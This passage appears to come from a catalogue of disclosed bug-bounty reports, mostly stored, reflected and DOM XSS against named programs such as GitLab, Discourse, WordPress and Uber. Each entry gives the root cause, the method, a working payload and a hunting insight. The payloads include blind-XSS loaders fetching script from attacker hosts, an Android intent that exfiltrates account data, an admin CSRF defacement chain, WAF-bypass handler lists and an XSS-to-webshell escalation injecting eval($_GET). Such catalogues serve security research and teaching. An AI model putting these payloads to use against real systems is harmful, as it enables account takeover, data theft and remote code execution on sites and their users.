- Send an intent/deep link whose URL closes the app's JS string context and appends attacker JS
- Call the exposed bridge (nativeBridge/NativeApp/TurboNative) to read page/account data
- Exfiltrate via window.location or fetch to attacker host
adb shell am start -W -a android.intent.action.VIEW -d 'https://3.basecamp.com/XXXXX/p","advance","---"); /* comment */ window.location.replace("https://COLLAB?exfiltration="+nativeBridge.getPage().accountName); //'
Insight — On Android Webviews, audit any URL that flows into loadUrl/JS-context concatenation; exposed @JavascriptInterface objects turn WebView XSS into native data access (email, tokens, cookies).
Real-world example
Stored XSS in post edit-history diff view
◆ High
Specimen #333507 · discourse · 256 · 19 votes · resolved
Program discourseSurface web
Root cause
Post content (e.g. an uploaded image's title/caption) is sanitized in normal rendering but rendered unsanitized in the edit-history diff ('yellow pencil'), so editing/deleting/restoring a post plants XSS that fires when a viewer opens the diff.
Method
- Reply/message with an XSS payload as an image title
- Edit or delete-then-restore the post to create an edit revision
- Victim clicks the edit pencil to view changes; payload executes
[image with title]: <img src=x onerror=alert(document.domain)>
Insight — Edit-history/diff/revision views are frequently overlooked sanitization gaps — content safe in the main view may be raw in the diff. Test every 'view changes' UI.
Real-world example
Stored XSS in blog comments with WAF bypass via rare event handlers
◆ High
Specimen #218226 · starbucks · awarded · 19 votes · resolved
Program starbucksSurface web
Root cause
The comment 'author' param is rendered unencoded; a WAF blocks <script> and common on*= handlers, but rarer event handlers and onbeforescriptexecute slip through.
Method
- Dork out blog pages with comment forms (site:target inurl:blog/)
- POST a comment with the payload in the author param
- Use a rare event handler + closing tags so it executes
</li></ul></li></ul></div></div></div></div><test/onbeforescriptexecute=confirm`h1poc`>
WAF-bypass handlers: onsearch, onwebkitanimationstart, onanimationstart, ondataavailable, ontransitionend, onanimationend, onpopstate
Insight — When a WAF blacklists on*= handlers, cycle through obscure/vendor-prefixed events (onbeforescriptexecute, onwebkitanimation*, ontransitionend); onbeforescriptexecute fires cross-browser without a matching <script>.
Real-world example
HTML injection via query param into AngularJS ng-bind-html
◆ High
Specimen #324548 · mycrypto · none · 19 votes · resolved
Program mycryptoSurface web
Root cause
The txHash query param is reflected into an ng-bind-html-bound alert message; Angular's sanitizer strips JS but allows links/images, enabling phishing/UI injection on a crypto wallet.
Method
- Supply txHash containing an <a>/<img> lure
- Value renders inside ng-bind-html alert-message
?txHash=qwqwq< SRC="javascript:alert(0);"><a href="https://COLLAB"><img src="https://COLLAB/lure.jpg"></a>qwqw#check-tx-status
Insight — ng-bind-html with the built-in sanitizer blocks script but permits anchors/images; on high-value targets (wallets) that is enough for private-key phishing. Flag ng-bind-html sinks even when alert() is filtered.
Real-world example
Blind stored XSS via contact form firing in admin panel
◆ High
Specimen #878145 · lab45 · none · 19 votes · resolved
Program lab45Surface webChain contact form injection -> stored in admin panel -> adm
Root cause
A public 'Contact Us' form does not sanitize fields (name/company/description); the submission is rendered unsanitized in the backend admin panel, executing when staff view it (blind XSS).
Method
- Submit a blind-XSS payload (XSS Hunter) in every contact-form field
- Wait for an admin to view the submission in the backend
- Callback leaks admin cookies, IP, internal service data
"><script src=https://xvt.xss.ht></script>
Insight — Seed blind-XSS canaries (XSS Hunter / interactsh) into every user-to-staff input: contact forms, support tickets, user-agent, feedback, order notes. Impact fires in privileged admin/CRM UIs.
Real-world example
Stored XSS via AngularJS directive rendering + email HTML injection
◆ High
Specimen #262004 · unikrn · awarded · 18 votes · resolved
Program unikrnSurface web
Root cause
The firstname field is stored and later reused to build a 'callsign' that a custom AngularJS directive (vartrans) renders as HTML without sanitization, and the same field is injected unescaped into referral emails.
Method
- Set firstname to an HTML/script payload via the verify API
- Win a raffle (or have the callsign rendered by the vartrans directive) to fire stored XSS
- Send a referral email to demonstrate HTML/phishing injection into email body
curl -s -k -X POST -H 'Content-Type: application/json' --data-binary '{"country":"GB","firstname":"<script src=\"https://ATTACKER/xss.js\"></script>","session_id":"SESSION"}' https://TARGET/apiv2/user/verify
Insight — Data that is escaped in most sinks (ng-bind) can still be XSS where a custom directive re-renders it as raw HTML. Trace every place a stored field is reused, including server-generated emails, not just the primary profile view.
Real-world example
Stored XSS via git branch name (merge_request[source_branch])
◆ High
Specimen #409380 · gitlab · none · 18 votes · resolved
Program gitlabSurface web
Root cause
A git ref / branch name supplied when creating a merge request is rendered unescaped on MR pages; branch names permit HTML metacharacters when set via the raw request.
Method
- Create a project and branch, start a new merge request
- Intercept the create-MR request
- Set merge_request[source_branch] to an img onerror payload and submit
merge_request[source_branch]=<img/src=x onerror=alert(1)>
Insight — VCS metadata (branch/tag/ref names, submodule paths, commit fields) is attacker-controlled text often echoed unescaped in the UI; fuzz these ref fields for stored XSS.
Real-world example
Stored XSS via javascript: URL in .gitmodules submodule
◆ High
Specimen #218872 · gitlab · none · 17 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
The Files view renders a git submodule's configured url as a clickable link without scheme validation; a javascript: URL in .gitmodules becomes an href that executes on click.
Method
- Add a relative submodule so contents are fetched (avoids fetch error)
- Edit .gitmodules url to a javascript: URL
- Commit/push, open the repo Files overview, click the submodule directory
[submodule "wiki"]
path = wiki
url = javascript:alert('XSS');
Insight — Anywhere a repo config value (submodule URL, homepage, clone URL) is rendered as an <a href>, test javascript: URLs; adding the submodule with a valid relative path first avoids a fetch error while you swap the URL.
Real-world example
Stored XSS in LMS transcript (Cornerstone) Training Description
◆ High
Specimen #219509 · informatica · none · 17 votes · resolved
Program informaticaSurface web
Root cause
A free-text training/description field on a Cornerstone (csod.com) LMS transcript is stored and rendered unescaped in the training-details view.
Method
- Add external training on the Universal Profile > Transcript
- Set Training Description to an img onerror payload
- View training details to fire
'"><img src=x onerror=alert(document.cookie);>
Insight — SaaS LMS/HR platforms (Cornerstone/csod) expose many stored free-text fields rendered in later detail views; the description/notes fields are the highest-yield XSS sinks.
Real-world example
Universal XSS via FIDO U2F native bridge param
◆ High
Specimen #993670 · brave · awarded · 17 votes · resolved
Program braveSurface mobile-ios
Root cause
A WKWebView JS->native bridge (u2f.register via postMessage) could be invoked from a cross-origin subframe, and the attacker-controlled 'version' field was concatenated into a WebView evaluateJavaScript() call on the TOP frame without escaping, yielding universal XSS.
Method
- Load a page whose cross-origin subframe calls the U2F postMessage handler directly (u2f.register)
- Modal shows top-frame origin (not the caller subframe) so the user trusts it
- Attacker sets the 'version' response field to a JS payload
- On FIDO touch, version is injected into evaluateJavaScript() and runs in the top frame origin
// version field of the U2F postMessage response is inserted unescaped into:
// webView.evaluateJavaScript("...' + version + '...")
version = "');alert(document.domain);//"
Insight — In mobile WebView apps, any JS->native->JS bridge that echoes message fields back through evaluateJavaScript()/stringByEvaluatingJavaScript is an XSS sink; also check whether privileged bridges can be reached from cross-origin subframes.
Real-world example
Markdown parser tag injection via _ and @ interaction
◆ High
Specimen #46916 · security · USD 5000 · 16 votes · resolved
Program securitySurface web
Root cause
A quirk in the markdown->HTML converter where an underscore-wrapped autolink containing '@' emits an unfiltered opening tag, letting the attacker inject an arbitrary tag name and attach arbitrary attributes (event handlers, style).
Method
- Submit markdown of the form _http://x_@.1 foo=bar
- Renderer emits a bogus <x_@.1 foo=bar tag with attacker attributes
- Add style to make it a clickable block + onclick/onmouseover to run script
_http://danlec_@.1 style=background-image:url(data:image/png;base64,AAAA);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
Insight — Markdown/autolink parsers are a rich XSS surface: probe interactions between special chars (_, @, <, backticks) that can emit raw tags even when script tags are stripped; an injected tag + attributes bypasses simple tag allowlists.
Real-world example
Unsanitized 'preview' render -> reflected then stored XSS
◆ High
Specimen #304175 · ui · awarded · 16 votes · resolved
Program uiSurface webChain reflected (preview) -> stored (draft); delivered via same
Root cause
A forum 'New Discussion' comment preview renders the raw HTML comment before it is sanitized for posting; the pre-sanitization preview is reachable via GET, yielding reflected XSS, and saving a draft persists it as stored XSS.
Method
- Open the comment page with the payload passed via GET vars to auto-populate the preview
- Preview renders unsanitized HTML -> reflected XSS
- Save as draft to escalate to stored XSS
- Deliver via a validated post-login redirect on the *.ubnt.com origin
(HTML comment payload passed via GET to the New Discussion preview)
Insight — 'Preview'/'draft' features often render content through a different, weaker path than the final post - test the preview endpoint directly (via GET params) and check if drafts persist the payload.
Real-world example
Stored XSS via Markdown image alt-text attribute injection
◆ High
Specimen #384255 · gitlab · none · 16 votes · resolved
Program gitlabSurface web
Root cause
Markdown image syntax's alt text is placed into the <img alt="..."> attribute without proper quoting/encoding, so a crafted alt breaks out and adds an onload/onerror handler.
Method
- Create an issue (or edit one)
- Put the payload in the Description using image markdown
- View the issue detail page to fire the injected handler

Insight — Markdown image/link alt and title fields are attribute-injection sinks - test  and ["onmouseover=..](x); the resulting <img>/<a> event handler executes even when raw <script> is stripped.
Real-world example
DOM XSS: location.search -> innerHTML via jQuery domManip
◆ High
Specimen #405191 · duckduckgo · none · 16 votes · resolved
Program duckduckgoSurface web
Root cause
On 50x.html a query-string value (location.search) flows into a div's innerHTML through a jQuery-style DOM-manipulation routine, executing injected markup.
Method
- Open /50x.html with a payload in a query param (e.g. atb=)
- The source (location.search) reaches div.innerHTML sink
- XSS fires
https://duckduckgo.com/50x.html?e=&atb=test"/><img src=x onerror=alert(document.domain);>
Insight — Static error pages (50x/40x/error.html) and other 'minor' pages often contain forgotten DOM sinks; trace location.search/hash into innerHTML/jQuery(html) sinks. Include error pages in DOM-XSS review.
Real-world example
Blind stored XSS via public contact form firing in admin panel
◆ High
Specimen #1036877 · deptofdefense · none · 16 votes · resolved
Program deptofdefenseSurface webChain public form -> stored payload -> admin-panel executionTag account-takeover
Root cause
A public contact form stores unsanitized input (first/last name, company, message) that is later rendered in an internal admin panel, where a blind XSS payload executes in the admin's authenticated context.
Method
- Submit the contact form with an XSS Hunter blind payload in every text field
- Wait for an admin to open the submission in the backend
- Receive the callback with admin cookies, IP, internal URLs
"><script src=//YOUR.xss.ht></script>
Insight — Any 'contact us', feedback, support-ticket, or user-agent-logged field is a blind-XSS target - seed all fields with an XSS Hunter/interactsh canary and wait for admin-side execution. Public->admin blind XSS often leaks session cookies and internal infra.
Real-world example
Onebox/markdown media parser breakout via quote in URL
◆ High
Specimen #191909 · discourse · 256 · 15 votes · resolved
Program discourseSurface web
Root cause
A link/media preview engine builds an <img>/<audio>/<video> tag by string-concatenating a user URL that ends in the expected extension, without escaping quotes. A single quote in the URL closes the tag's attribute and injects a new event handler.
Method
- Supply a fake media URL ending in the expected extension (.png/.mp3/.mp4)
- Insert a single quote mid-URL to break out of the src attribute
- Append an onerror handler and comment out the tail
http://host/path/to/image'onerror=alert(1);//.png
(audio) http://host/path'onerror=alert(1);//k.mp3
(video) http://host/path'onerror=alert(1);//k.mp4
Insight — Any preview/embed engine that regex-matches a file extension and template-concatenates the raw URL is a breakout sink. Test with a quote before the extension; escalate with $.getScript to load a full external payload.
Real-world example
Link-preview regex bypass via allowed domain in URL path
◆ High
Specimen #197443 · discourse · awarded · 15 votes · resolved
Program discourseSurface web
Root cause
An allowlist regex uses an unanchored/greedy pattern (^https?://.*bandcamp\.com/album/) so an attacker-hosted URL that merely CONTAINS bandcamp.com/album/ in its path passes the check and reaches the vulnerable preview parser.
Method
- Find the onebox/preview matches_regexp pattern
- Host a page on your server whose path includes the allowed-domain string
- Paste the link so the preview engine parses attacker content and triggers XSS
https://89.223.28.48/bandcamp.com/album/index.html?XSSa2
(fix: change ^https?://.*bandcamp\.com/album/ to ^https?://.*\.bandcamp\.com/album/)
Insight — Domain-allowlist regexes without a proper host-boundary (missing leading \. or ^host anchor) are bypassable by putting allowed-domain.com in the path or as a subdomain-lookalike. Always test SSRF/preview/redirect allowlists this way.
Real-world example
Blind stored XSS in registration field firing in internal admin panel
◆ High
Specimen #1011888 · informatica · none · 15 votes · resolved
Program informaticaSurface webTag account-takeover
Root cause
Free-text registration fields (Company) are stored unsanitized and later rendered in an internal admin/CRM tool; the payload fires in the staff context, not the attacker's.
Method
- Register an account and put a blind-XSS canary in the Company field
- Wait for a support/admin user to open the user record in the backend tool
- Collect the callback (URL, cookies, DOM, internal IPs)
"><script src=https://YOURID.xss.ht></script>
Insight — Any self-service field that staff later view in an internal console is a blind-XSS sink. Seed every free-text field (company, name, address, support subject) with an XSS Hunter/interactsh canary and wait; the callback reveals internal hostnames, cookies and DOM.
Real-world example
Stored XSS via IPS Visual Language Editor (VLE) translation tags
◆ High
Specimen #2031855 · ips · none · 15 votes · resolved
Program ipsSurface webChain stored XSS -> fetch admin CSRF key -> POST as admin -&Tag account-takeover
Root cause
The VLE/translation JS feeds jQuery replaceWith() (which parses raw HTML) with .text() output that is not HTML-encoded; a #VLE#...# tag in user content executes when an admin browses with Quick Translating on.
Method
- Post user content containing a #VLE#...#[<script>...</script>]#!## tag (hide it with a font-size:0 span)
- Get an admin to view the page with Visual Language Editor / Quick Translating enabled
- Script runs in admin context and performs privileged actions
#VLE#nothing#[<script>ips.getAjax()(ips.getSetting('baseURL')+'admin/index.php?app=core&module=system&controller=login&do=getCsrfKey').done(({key})=>ips.getAjax()(ips.getSetting('baseURL')+'admin/index.php?app=core&module=settings&controller=general',{'bypassRedirect':true,'method':'POST','data':{'csrfKey':key,'site_online_checkbox':1,'board_name':'You have been hacked','form_submitted':1}}))</script>]#!##
Insight — Look for client-side i18n/translation editors that re-render page strings: if they use replaceWith/innerHTML on raw text, any user-generated string on a page an admin translates becomes stored XSS. The self-XSS-looking sink becomes admin XSS via the translation feature.
Real-world example
DOM XSS in nginx 50x.html error page reflecting a query param
◆ High
Specimen #426275 · duckduckgo · none · 14 votes · resolved
Program duckduckgoSurface web
Root cause
The static 50x error page contains JS that writes a query parameter (atb/e) into the DOM without sanitization, allowing an attribute breakout and img/onerror injection.
Method
- Request /50x.html with a payload in a reflected param (atb=)
- Confirm execution, then enumerate sibling subdomains (proxy1..proxy4) that share the same static page
https://TARGET/50x.html?e=&atb=test%22/%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E
Insight — Default/error pages (50x.html, 404) are shared across many subdomains and get overlooked. When you find one DOM XSS in a static asset, sweep every subdomain serving the same file. Read prior public reports (here #405191) and re-test unfixed variants.
Real-world example
Parameter injected into <script src=$value> -> arbitrary script include
◆ High
Specimen #976657 · automattic · awarded · 14 votes · resolved
Program automatticSurface webChain reflected XSS -> steal non-secure session cookie -> acTag account-takeover
Root cause
An endpoint (external_import.php) writes the scripts parameter directly into a <script src='...'> tag with no encoding, letting an attacker load an external script or break out into new tags.
Method
- Locate the theme/import endpoint that echoes a scripts/src param into a <script src>
- Point it at an attacker-hosted JS file, or break out with '></script><script>
- Chain with insecure session cookie for account takeover
https://TARGET/static/external_import.php?scripts=//attacker.tld/x.js
https://TARGET/static/external_import.php?scripts=%27%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E
Insight — Params that feed a <script src=> are the cleanest XSS: no HTML-context escaping needed, just supply a remote script URL. Grep JS/params for values that end up as an src attribute; the same shared PHP file was reused across many sites.
Real-world example
XSS via uploaded file NAME reflected unencoded
◆ High
Specimen #1264834 · mtn_group · none · 14 votes · resolved
Program mtn_groupSurface webTag file-upload
Root cause
A file upload feature reflects the client-supplied filename back into the page without encoding, so an HTML payload embedded in the filename executes.
Method
- On an upload form, set the file NAME (not content) to an XSS payload with a valid extension
- Submit; the filename is echoed into the response and executes
"><img src=x onerror=alert(document.cookie);>.jpg
Insight — The filename is attacker-controlled metadata that apps routinely echo (upload confirmations, file lists, previews). Always test payload-in-filename separately from file content; keep a valid extension so upload validation passes.
Real-world example
Stored XSS via link-preview (onebox) engine re-decoding remote OpenGraph/oembed metadata
◆ High
Specimen #197902 · discourse · awarded · 13 votes · resolved
Program discourseSurface webTag webhook
Root cause
Discourse's whitelisted_generic onebox fetches an attacker-hosted page, HTML-escapes OpenGraph/oembed values, then decodes them back and injects the decoded strings into raw HTML, reintroducing XSS.
Method
- Host a page with attacker-controlled og: meta tags (and/or a linked oembed.json) containing an event-handler breakout in a value.
- Paste the page URL into a topic/post so the server-side onebox parser fetches it (User-Agent: Ruby in logs).
- Save; the decoded metadata is injected unescaped and the XSS fires for every viewer.
<!-- og_image.html -->
<meta property="og:image" content="x' onerror='alert(document.domain)">
<!-- oembed.json -->
{"type":"image","image":"xss","description":"descr' onerror='alert(/XSS/)","image_width":1,"image_height":1}
Insight — Server-side URL unfurlers/link-previews are a rich stored-XSS sink: the attacker controls the *remote* metadata the app trusts. Escape-then-decode round-trips are a classic reintroduction bug. Watch for og:*, oembed, and JSON+oembed discovery links.
Real-world example
Stored XSS via javascript:// URI with newline-comment filter bypass (Elastic App Search reference_ui)
◆ High
Specimen #846905 · elastic · USD 2000 · 12 votes · resolved
Program elasticSurface webChain low-priv document create -> admin clicks Reference UI linTag account-takeover
Root cause
A low-privileged user stores a document with a url field of javascript://test%0aalert() ; App Search's Reference UI later renders that value as the href of the title link, so an admin who clicks (or middle-clicks) it triggers XSS. The // + %0a makes 'javascript:' parse as a label/comment then a real newline-separated statement, bypassing naive javascript: filters.
Method
- As a low-priv user, index a document via 'Paste JSON' with url set to javascript://test%0aalert(document.domain).
- In Reference UI, map both Title field and URL field to 'url' and Generate Preview.
- Share the preview link with a higher-priv user; CTRL/middle-click on the title fires the payload.
{"url":"javascript://test%0aalert(document.domain)"}
Insight — javascript://comment%0apayload defeats filters that block 'javascript:' followed by code: everything after // is a comment until %0a starts a new line. Combine with 'field rendered as href' sinks. Low-priv document creation -> admin XSS is a privilege-boundary chain worth flagging.
Real-world example
Stored XSS via bbPress nickname -> XSS-to-RCE
◆ High
Specimen #151117 · automattic · awarded · 12 votes · resolved
Program automatticSurface webChain Stored XSS (low-priv) -> admin views -> theme-editor.p
Root cause
Display-name/Nickname field rendered unescaped in forum posts; an attacker-controlled attribute value breaks out of the tag with an event handler, and because the victim is an admin the JS drives the WP theme editor to write a PHP webshell.
Method
- Post/edit a forum message
- Edit profile Nickname at /wordpress/?bbp_user=<id>&edit=1 to an attribute-breaking payload
- Set Display Name to the Nickname and revisit the thread so it fires on an admin
- JS opens theme-editor.php in a hidden iframe and appends a PHP backdoor to 404.php
Nickname:
user1"onmouseover="alert(1);remove()"style="position:absolute;left:0;top:0;margin-top:-100%;margin-left:-100%;width:5000px;height:5000px"
RCE stage (runs as admin): iframe -> /wp-admin/theme-editor.php -> inject <?php eval($_GET['wp']); ?> into 404.php
Insight — Any low-priv field reflected to an admin is an RCE primitive on WordPress: admin JS context can edit theme/plugin PHP. Always test profile name/nickname fields and escalate stored XSS -> theme-editor webshell.
Real-world example
Regex-based img rewrite bypass -> stored XSS
◆ High
Specimen #152416 · automattic · awarded · 12 votes · resolved
Program automatticSurface web
Root cause
A preg_replace that rewrites <img> tags for lazy-loading uses a naive pattern; mixed single/double quotes and spaces in the src let an attacker inject extra attributes (onerror) that survive the rewrite.
Method
- Post content containing a malformed img tag
- Plugin's regex fails to normalize it and emits an img with a live onerror
- Admin views the post; JS runs in admin context
<img src="/foo onerror=alert(/xss/) // " />
vuln regex: #<img([^>]+?)src=[\'"]?([^\'"\s>]+)[\'"]?([^>]*)>#
Insight — Any server-side HTML rewriter built on regex (lazy-load, sanitizer, link-nofollow) is a candidate: feed it mixed quotes/spaces so the pattern mis-parses attribute boundaries and you smuggle onerror/onload.
Real-world example
AngularJS client-side template injection (CSTI) -> stored XSS
◆ High
Specimen #250837 · wordpress · awarded · 12 votes · resolved
Program wordpressSurface web
Root cause
A profile name field stored and rendered inside an AngularJS-bound region evaluates {{ }} expressions; a constructor.constructor gadget escapes the sandbox and runs arbitrary JS.
Method
- Edit account/address, intercept the save request
- Set name to an Angular expression payload and forward
- Visit the account page; the expression is evaluated and JS runs
{{constructor.constructor('alert(1)')()}}
Insight — Any field echoed inside an ng-app/AngularJS scope is a CSTI target - test {{7*7}} first, then constructor.constructor for RCE-in-browser. Persistence via account-recovery flows (create account on victim email, they reset password, payload remains) turns self-XSS into a real threat.
Real-world example
esc_url bypass via stripcslashes in shortcode_parse_atts
◆ High
Specimen #633231 · wordpress · awarded · 12 votes · resolved
Program wordpressSurface webChain Pre-auth stored payload -> admin edit trigger -> javas
Root cause
wp_rel_nofollow_callback rebuilds <a> tags using shortcode_parse_atts(), which calls stripcslashes() on attribute values; javascript\x3a becomes javascript: after esc_url already ran, yielding a stored javascript: URI XSS when an admin edits the comment.
Method
- As unauthenticated user, post a comment with an <a href> using \x3a to encode the colon and a preset rel attribute
- Post a second comment luring the admin to edit
- Admin edits+saves the comment (re-runs the nofollow callback); clicking the link fires javascript:
<a href="javascript\x3aalert(1);">Visit my web page</a>
Insight — Sanitizers that decode/unescape AFTER validation are bypassable: find a decode step (stripcslashes, urldecode, html_entity_decode) that runs downstream of the URL scheme check. \x3a / \u003a for ':' is the canonical javascript-URI smuggle.
Real-world example
Stored XSS via message-type render/data functions
◆ High
Specimen #1379400 · rocket_chat · none · 12 votes · resolved
Program rocket_chatSurface web
Root cause
Rocket.Chat renders certain MessageTypes via custom render()/data() functions that interpolate message params (snippetId, role, transferData.transferredTo.name, comment) directly instead of the sanitized msg field; an authenticated user crafts such a message via the sendMessage Meteor method.
Method
- Get a room id
- Call sendMessage with t set to a vulnerable MessageType and the payload in the unsanitized param
- Receiving client renders the type template and executes the script
Meteor.call("sendMessage",{rid:"<RID>",msg:"",t:"message_snippeted",snippetId:"\"><img src=x onerror=alert(1) style=\"display:none;\" x=\"",snippetName:""})
also: t:"subscription-role-removed" role:"<img src=x onerror=alert(1)>"; t:"livechat_transfer_history" transferData.transferredTo.name; t:"omnichannel_placed_chat_on_hold" comment
Insight — Chat/notification systems sanitize the main body but forget the structured/system-message templates that render sibling params. Enumerate all registered message/notification types and fuzz each type-specific field, not just the message text.
Real-world example
HTML-sanitizer bypass via DOM clobbering of the _sanitized guard property
◆ High
Specimen #308158 · nodejs-ecosystem · none · 11 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
html-janitor tracks already-cleaned nodes with a node._sanitized flag; because a child element named _sanitized clobbers the parent's node._sanitized property (DOM clobbering), the sanitizer's 'already sanitized, skip' branch fires on unsanitized attacker HTML and returns it untouched.
Method
- Craft HTML where an inner element carries name=_sanitized
- Feed it to janitor.clean(); the tree-walker reads node._sanitized which now resolves to the clobbering child and is truthy
- The whole subtree is skipped, so the malicious onmouseover/object survives sanitization
var myJanitor = new HTMLJanitor({tags:{p:{}}});
myJanitor.clean("<form><object onmouseover=alert(document.domain) name=_sanitized></object></form>");
// returns the input unchanged -> XSS
Insight — Sanitizers/guards that store state as a named DOM property or global are DOM-clobberable: an attacker element with matching name/id overwrites the guard. When auditing client-side sanitizers, grep for node.<prop> flags and test injecting name=/id=<prop>.
Real-world example
Stored XSS via unsanitized filename in a web file browser
◆ High
Specimen #507159 · nodejs-ecosystem · none · 11 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
The fileview npm module lists directory entries by injecting filenames into HTML without encoding, so a filename containing markup executes when the directory is browsed (CVE-2019-15602).
Method
- Create a file whose name contains an HTML/JS payload
- Serve the directory with the file browser (fileview -p <dir> -P 8080)
- Browse the listing; the filename renders and executes
"><img src=x onerror=alert('xss')>.jpg
Insight — Filenames are attacker-controlled data. Any feature that echoes file/attachment names (directory listings, upload confirmations, mail attachments) is a stored-XSS sink if names are not HTML-encoded.
Real-world example
Unfiltered chat message stored XSS affecting other members -> SSO account takeover
◆ High
Specimen #779908 · lab45 · none · 11 votes · resolved
Program lab45Surface webChain stored XSS in shared chat -> steal session/CSRF token -&gTag account-takeover
Root cause
Project chat/message content is stored and rendered to all conversation participants without sanitization, allowing raw <script> injection; any member opening the thread executes attacker JS, enabling cookie/CSRF-token theft and SSO account takeover.
Method
- Create a project and open its messages/chat
- Post a message whose content is a raw script payload
- Any other member (including admins after they approve/manage the project) who views the thread is compromised
<script>alert(document.domain)</script>
Insight — Multi-user chat/comment/message bodies are high-impact stored-XSS sinks because delivery is built in - victims come to the content. Raw <script> acceptance signals zero sanitization; escalate to session/SSO token theft.
Real-world example
Reflected XSS by loading attacker JSON via open-redirect/path-traversal
◆ High
Specimen #125791 · uber · awarded · 10 votes · resolved
Program uberSurface webChain Open redirect (//host) -> path traversal to external data
Root cause
A protocol-relative open redirect (//example.com) combined with path traversal in API-fetch routes lets the client load attacker-hosted JSON, which the front-end renders into the page (svg onload / javascript: values) as reflected XSS; the same traversal enables CSS injection via the theme param.
Method
- Confirm open redirect: /en//example.com/ returns Location: //example.com/
- Find client routes that fetch JSON from a URL-derived path (careers/list/<x>, cities/<x>)
- Traverse out with ..%2f..%2fen%2f%2fexample.com%2ffile.json so the app fetches attacker JSON
- Serve JSON containing svg onload / javascript: fields the template renders -> XSS
- (bonus) theme=../en//example.com/css-code.css loads attacker CSS (CSS injection)
Open redirect:
https://www.uber.com/en//example.com/
XSS via external JSON:
https://www.uber.com/careers/list/..%2f..%2fen%2f%2fexample.com%2ffile.json/
https://www.uber.com/cities/%252e%252e%2f%252e%252e%2fen%2f%2fexample.com%2ffile.json/
// attacker file.json
{"overview":"<svg onload=\"alert(document.domain)\">","jobUrl":"javascript:alert(document.domain)"}
CSS injection:
https://www.uber.com/?theme=../en//example.com/css-code.css%23
Insight — An 'only' open redirect becomes critical when a client-side template fetches data from a URL you can traverse/redirect: point it at attacker-controlled JSON/CSS and inject markup through the data path, not the HTML directly.
Real-world example
CSS expression() XSS via style-attribute injection
◆ High
Specimen #143323 · informatica · none · 10 votes · resolved
Program informaticaSurface webTag account-takeover
Root cause
POST parameters (PageLink, UID, ResponseHandlingLanguage) are reflected inside an HTML attribute; breaking out into a style attribute lets legacy IE execute JS via the CSS expression() function, and a full tag breakout works elsewhere.
Method
- Identify parameters reflected inside a tag attribute
- Break out with a quote and inject a style attribute using expression()
- Or break out of the tag entirely with "><script>
PageLink=1" style="width:expression(prompt(1));
UID="><script>prompt(1)</script>
Insight — When you land inside an attribute and can't break the tag, try style= with CSS expression() (legacy IE) — a classic attribute-context escalation. Enumerate every POST field: multiple sibling params often share the same unsanitized sink.
Real-world example
Stored XSS in profile/admin fields, second-order to other admins/users
◆ High
Specimen #173501 · revive_adserver · none · 10 votes · resolved
Program revive_adserverSurface webChain low-priv user field -> stored -> admin views -> admTag account-takeover
Root cause
User-controlled profile fields (email, shop name, ticket title, phone number, template cells) are stored and later rendered unencoded in an admin/other-user view or a different feature, producing persistent second-order XSS — one low-priv user can backdoor an admin's browser.
Method
- As user A, set a profile/config field to an XSS payload (email/name/phone/template)
- As user B (often an admin) navigate to the page that lists/renders A's data
- Payload fires in B's session
admin1@example.com<script>alert('xss')</script>
Variants observed:
- shop name: lll"></script><script>alert('xss')</script> (script-context breakout, #329862)
- table/template cell: "><img src=x onerror=prompt(0);> (#283565)
- phone number rendered in a different app: 1234567"><img src=a onerror=alert(1)> (#1033882)
Insight — Hunt stored XSS by finding where one user's fields are rendered to another user (admin panels, member listings, activity feeds, and especially the SAME value re-rendered by a DIFFERENT feature/app). The dangerous case is admin-viewing-user data: it yields admin ATO. Always test </script><script> when the sink is inside an existing script block.
Real-world example
DOM XSS: document.referrer/document.URL into innerHTML
◆ High
Specimen #189834 · informatica · none · 10 votes · resolved
Program informaticaSurface webTag account-takeover
Root cause
A breadcrumb function concatenates tainted DOM sources (document.URL, document.referrer, varCoveoSearchResultPageURL) into an <a href> string assigned via innerHTML, with no encoding — classic source-to-sink DOM XSS gated by several conditions.
Method
- Locate JS assigning innerHTML/strChild from document.URL or document.referrer
- Satisfy the guard conditions (e.g. query param myk non-empty, referrer contains //search.host and not /home.aspx)
- Deliver via a controlled referrer or crafted URL to inject the href/attribute
strChild = "<a href='" + document.referrer + "' style='color:#999 !important;' >Search Results</a>";
li.innerHTML = strChild;
Exploit: land on the page from an attacker page whose URL breaks out of the single-quoted href, with ?myk=1 set.
Insight — When auditing DOM XSS, trace every innerHTML/document.write sink back to sources document.URL, location.hash, and document.referrer. referrer is attacker-controllable by hosting the launching page; map the conditional guards (query params, cookie values) and satisfy them rather than assuming the sink is dead.
Real-world example
Reflected XSS in shipped vendored-library example files
◆ High
Specimen #192786 · nextcloud · none · 10 votes · resolved
Program nextcloudSurface webTag supply-chain
Root cause
A third-party dependency's example/demo script (Yubico php-u2flib-server examples/localstorage/index.php) echoes user input and ships in the release tarball even though it was removed from the app's git repo — a build/Makefile re-pulls the dependency's full tree.
Method
- Enumerate vendor/ and examples/ paths of bundled libraries in the shipped release (not the git repo)
- Find example scripts that echo request input
- POST/GET the crafted parameter to trigger reflection
POST /apps/twofactor_u2f/vendor/yubico/u2flib-server/examples/localstorage/index.php
doAuthenticate=...&request=...®istrations=[{..."certificate":"...wzh87'-alert(1)-'k50k8","counter":-1}]
Insight — Release artifacts often contain vendored example/test files absent from the source repo (Makefile/composer re-downloads them). Scan /vendor/**/examples, /test, /demo for scripts that echo input — a rich, low-competition reflected-XSS surface. Static scanners (RIPS) flag the echo-on-input sink.
Real-world example
Stored XSS via Confluence wiki macro option (vote macro)
◆ High
Specimen #867133 · lab45 · none · 10 votes · resolved
Program lab45Surface webTag account-takeover
Root cause
Confluence wiki markup macros (e.g. {vote}) render their option text unescaped in the edit/preview view, so HTML placed inside a macro body executes when another authenticated user edits the page.
Method
- Edit a wiki page
- Insert a {vote} macro with an option containing an HTML payload
- Save; when another signed-in user edits the page the payload fires
{vote:What is your favorite vulnerability?}
RCE
SSRF
XSS"><img src=X onerror=alert(document.domain)>
{vote}
Insight — Wiki/markup macros (Confluence {vote}/{html}/{gallery}, MediaWiki templates) are a distinct sink from the normal WYSIWYG body — their parameters are frequently rendered without the sanitization applied to page text. Fuzz every macro that takes free-text options.
Real-world example
Stored XSS in back-office form fields viewed by staff (phishing-form payload)
◆ High
Specimen #847176 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface web
